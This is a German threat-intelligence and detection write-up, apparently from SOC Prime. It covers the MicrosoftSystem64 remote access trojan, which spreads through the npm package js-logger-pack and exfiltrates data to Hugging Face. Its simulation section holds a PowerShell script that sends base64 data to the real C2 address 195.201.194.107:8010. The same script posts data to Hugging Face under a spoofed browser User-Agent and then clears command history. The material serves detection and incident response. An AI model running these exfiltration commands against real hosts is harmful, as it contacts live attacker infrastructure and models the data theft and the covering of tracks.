SOC Prime Bias: Kritisch

03 Jun 2026 16:32 UTC

MicrosoftSystem64: Ein Supply-Chain-RAT, das Daten zu Hugging Face exfiltriert

Author Photo
SOC Prime Team linkedin icon Folgen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein bösartiges npm-Paket namens js-logger-pack wurde verwendet, um eine plattformübergreifende Node.js-Einzelanwendung namens MicrosoftSystem64 zu verbreiten. Die Binärdatei fungiert als voll funktionsfähiger Remote Access Trojaner, der in der Lage ist, Kryptowährungs-Wallet-Erweiterungen, im Browser gespeicherte Anmeldeinformationen, SSH-Schlüssel, Telegram-Sitzungsdaten und Screenshots zu stehlen. Gestohlene Informationen werden über private Hugging Face-Datasets unter Verwendung eines kompromittierten API-Tokens exfiltriert, während der Kommando- und Kontrollverkehr über einen WebSocket-Server bei 195.201.194.107:8010abgewickelt wird. Die Kampagne wird mit einem nordkoreanischen Bedrohungsakteur in Verbindung gebracht, der npm- und Hugging Face-Konten rotiert, um den Zugriff aufrechtzuerhalten und die Operationen fortzuführen.

Untersuchung

SafeDep analysierte das Malware-Muster und extrahierte dessen XOR-verschlüsselte Konfiguration, den Kommando- und Kontrollendpunkt, das Hugging Face-Token und eine Liste von mehr als 80 Ziel-Wallet-Erweiterungs-IDs. Forscher überprüften außerdem die auf Windows-, macOS- und Linux-Systemen verwendeten Persistenzmethoden und rekonstruierten die vollständige Exfiltrationskette unter Einbeziehung von Hugging Face-APIs. Eine Live-Validierung am 28. Mai bestätigte, dass aktive Datasets weiterhin Screenshots und Anmeldedaten-Archive von echten Opfern erhielten.

Minderung

Organisationen sollten sofort alle bekannten bösartigen npm-Pakete entfernen, die mit dieser Kampagne in Verbindung stehen, kompromittierte Anmeldeinformationen, SSH-Schlüssel und Kryptowährungs-Wallet-Samen rotieren und auf unbefugte Hugging Face API-Aktivitäten überwachen. Endpunktschutzlösungen sollten den MicrosoftSystem64 Prozessnamen und jede damit verbundene geplante Aufgaben-Erstellung erkennen. Netzwerksteuerungen sollten auch ausgehenden Datenverkehr zur identifizierten Kommando- und Kontroll-IP-Adresse blockieren und unerwarteten Zugriff auf Hugging Face-Endpunkte von unbekannten Binärdateien einschränken.

Reaktion

Wenn MicrosoftSystem64 erkannt wird, isolieren Sie das betroffene System sofort, beenden Sie den bösartigen Prozess, entfernen Sie installierte Dateien und geplante Aufgaben und widerrufen Sie das kompromittierte Hugging Face Token. Ermittler sollten forensische Beweise aus Protokollen und allen exfiltrierten Datenwegen sammeln, dann relevante Stakeholder benachrichtigen und Abhängigkeits-Scan-Tools aktualisieren, um die bösartigen Pakete in zukünftigen Builds zu blockieren.

graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Tool- und Malware-Knoten tool_npm[„<b>Tool</b> – npm-Paket `js-logger-pack`<br/><b>Beschreibung</b> Enthält SEA-Binärdatei `MicrosoftSystem64`“] class tool_npm tool malware_binary[„<b>Malware</b> – Binärdatei `MicrosoftSystem64`<br/><b>Beschreibung</b> Plattformübergreifendes ELF, als Node.js SEA verpackt mit XOR-verschlüsselter Konfiguration“] class malware_binary malware infra_c2[„<b>Infrastruktur</b> – WebSocket C2<br/>IP 195.201.194.107 Port 8010“] class infra_c2 infra %% Angriffsaktionen init_supply_chain[„<b>Aktion</b> – <b>T1195.001 Lieferkettenkompromittierung</b><br/>Angreifer veröffentlicht das bösartige npm-Paket `js-logger-pack` mit SEA-Binärdatei“] class init_supply_chain action execution_ingress[„<b>Aktion</b> – <b>T1105 Einschleusung von Werkzeugen</b><br/>Opfer installiert Paket und führt eingebettete Node.js-Binärdatei aus“] class execution_ingress action defense_obfuscation[„<b>Aktion</b> – <b>T1027.009 / T1027.004 Verschleierte Dateien oder Informationen</b><br/>ELF-Binärdatei als SEA gepackt mit XOR-verschlüsselter Konfiguration“] class defense_obfuscation action persistence_mechanisms[„<b>Aktion</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 Persistenz</b><br/>Erstellt Run-Registry-Key, Active Setup, macOS LaunchAgent und Linux systemd-Dienst“] class persistence_mechanisms action defense_hide[„<b>Aktion</b> – <b>T1564.014 Artefaktverschleierung</b> & <b>T1497.002 Sandbox-Evasion</b><br/>Verwendet erweiterte Attribute und Nutzeraktivitätsprüfungen“] class defense_hide action priv_esc[„<b>Aktion</b> – Privilegieneskalation über Persistenzmechanismen<br/>Wiederverwendung von Run-Key oder Dienst zur Rechteausweitung“] class priv_esc action cred_browser[„<b>Aktion</b> – <b>T1217 Browser-Informationsaufklärung</b> & <b>T1555.003 Browser-Anmeldeinformationen</b><br/>Stiehlt Daten aus Chrome, Edge, Firefox und Krypto-Wallet-Erweiterungen“] class cred_browser action keylogging[„<b>Aktion</b> – <b>T1056.001 Keylogging</b><br/>Native Keylogger erfassen Eingaben und Zwischenablage auf Windows/macOS/Linux“] class keylogging action collection_clip_video[„<b>Aktion</b> – <b>T1115 Zwischenablagedaten</b> & <b>T1125 Videoaufzeichnung</b><br/>Screenshots alle 60 Sekunden und Clipboard-Überwachung“] class collection_clip_video action collection_db[„<b>Aktion</b> – <b>T1213.006 Daten aus Informationsspeichern: Datenbanken</b><br/>Extrahiert Browser-DBs, SSH-Schlüssel, Telegram tdata und weitere Repositories“] class collection_db action c2_communication[„<b>Aktion</b> – <b>T1105 C2-Kommunikation</b><br/>Kommunikation mit WebSocket C2 unter 195.201.194.107:8010“] class c2_communication action exfiltration_hf[„<b>Aktion</b> – Exfiltration über HuggingFace API<br/>Hochladen gestohlener Daten zum Konto `jpeek998`“] class exfiltration_hf action impact_resource[„<b>Aktion</b> – <b>T1496.001 Ressourcen-Hijacking</b><br/>Diebstahl von Kryptowährungs-Wallet-Zugangsdaten für illegale Nutzung“] class impact_resource action %% Fluss tool_npm –>|liefert| malware_binary malware_binary –>|aktiviert| init_supply_chain init_supply_chain –>|führt zu| execution_ingress execution_ingress –>|führt zu| defense_obfuscation defense_obfuscation –>|führt zu| persistence_mechanisms persistence_mechanisms –>|aktiviert| defense_hide defense_hide –>|aktiviert| c2_communication persistence_mechanisms –>|aktiviert| priv_esc priv_esc –>|führt zu| cred_browser cred_browser –>|führt zu| keylogging keylogging –>|führt zu| collection_clip_video collection_clip_video –>|führt zu| collection_db collection_db –>|führt zu| c2_communication c2_communication –>|nutzt| infra_c2 c2_communication –>|führt zu| exfiltration_hf exfiltration_hf –>|resultiert in| impact_resource

Angriffsablauf

Simulationsausführung

Voraussetzung: Die Telemetrie- und Baseline-Vorflugüberprüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der feindlichen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

  • Angriffs-Narrative & Befehle:
    Ein Angreifer hat bereits den „Microsoft System64 RAT“ auf dem kompromittierten Windows-Host installiert. Um gestohlene Daten zu exfiltrieren, führt der RAT zwei parallele Aktionen durch:

    1. C2-Kanal: Öffnet einen rohen TCP-Socket zum fest kodierten bösartigen Server 195.201.194.107 am Port 8010 und streamt Base-64-codierte Daten.
    2. Versteckte HTTP-Exfiltration: Sendet eine HTTPS POST Anfrage an https://huggingface.co/api/upload mit denselben Daten, die im Anfrageinhalt eingebettet sind, und verwendet dabei einen legitim aussehenden User-Agent, um sich mit dem normalen Datenverkehr zu vermischen.

    Beide Aktionen erzeugen ausgehende Firewall-Ereignisse, die der Sigma-Regel entsprechen.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # System64 RAT-Exfiltrationssimulation (PowerShell)
    # -------------------------------------------------
    # 1. Vorbereitung von Dummy-Exfil-Daten
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. Datenübertragung über rohes TCP (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] TCP-Exfil an $c2Ip:$c2Port gesendet"
    } catch {
        Write-Error "[-] TCP-Verbindung fehlgeschlagen: $_"
    }
    
    # 3. Datenübertragung über HTTPS an HuggingFace (versteckte Exfilt)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] HTTP-Exfil an huggingface.co gesendet"
    } catch {
        Write-Error "[-] HTTP-Anfrage fehlgeschlagen: $_"
    }
  • Aufräumbefehle:

    # Entfernt alle verbleibenden Netzwerk-Artefakte
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # PowerShell-Verlauf löschen (optional)
    Clear-History